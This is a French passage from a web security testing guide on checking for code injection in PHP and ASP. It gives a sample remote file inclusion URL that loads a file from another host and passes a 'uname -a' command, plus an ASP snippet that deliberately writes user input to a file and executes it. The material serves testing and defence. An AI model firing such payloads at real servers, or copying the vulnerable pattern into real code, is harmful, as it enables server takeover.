4.8.12 Tester les injections de code (OTG-INPVAL-012)

Sommaire
Cette section décrit comment un testeur peut vérifier s'il est possible de saisir du code comme entrée sur une page web afin de le faire exécuter par le serveur web.

Lors des tests d'injection de code (Code Injection), un testeur envoie des entrées qui seront traîtées par le serveur web comme du code dynamique ou des fichiers inclus. Ces tests peuvent viser divers moteurs de scripts serveur, par exemple ASP ou PHP. La protection contre ces attaques passe par la validation des entrées et de bonnes pratiques de développement sécurisé.

Tester les vulnérabilités d'injection PHP
En utilisant la chaîne de requête, le testeur peut injecter du code (dans cet exemple, une URL malicieuse) qui sera traîté comme un fichier inclus :

http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a

Resultat attendu:

L'URL malicieuse est acceptée comme paramètre pour la page PHP, qui va utiliser plus tard cette valeur pour inclure le fichier.

Tester les vulnérabilités d'injection de code ASP
Il faut examiner le code pour repérer les entrées utilisateur utilisées pour exécuter des fonctions. L'utilisateur peut-il entrer dans commandes dans un champ de saisie de données ? Ici, le code ASP va entregistrer les entrées dans un fichier, puis les exécuter :

<% If not isEmpty(Request( "Data" ) ) Then Dim fso, f 'User input Data is written to a file named data.txt Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True) f.Write Request("Data") & vbCrLf f.close Set f = nothing Set fso = Nothing

'Data.txt is executed Server.Execute( "data.txt" )

Else %>  <% End If %>)))

Références

 * Security Focus - http://www.securityfocus.com


 * Insecure.org - http://www.insecure.org


 * Wikipedia - http://www.wikipedia.org


 * Reviewing Code for OS Injection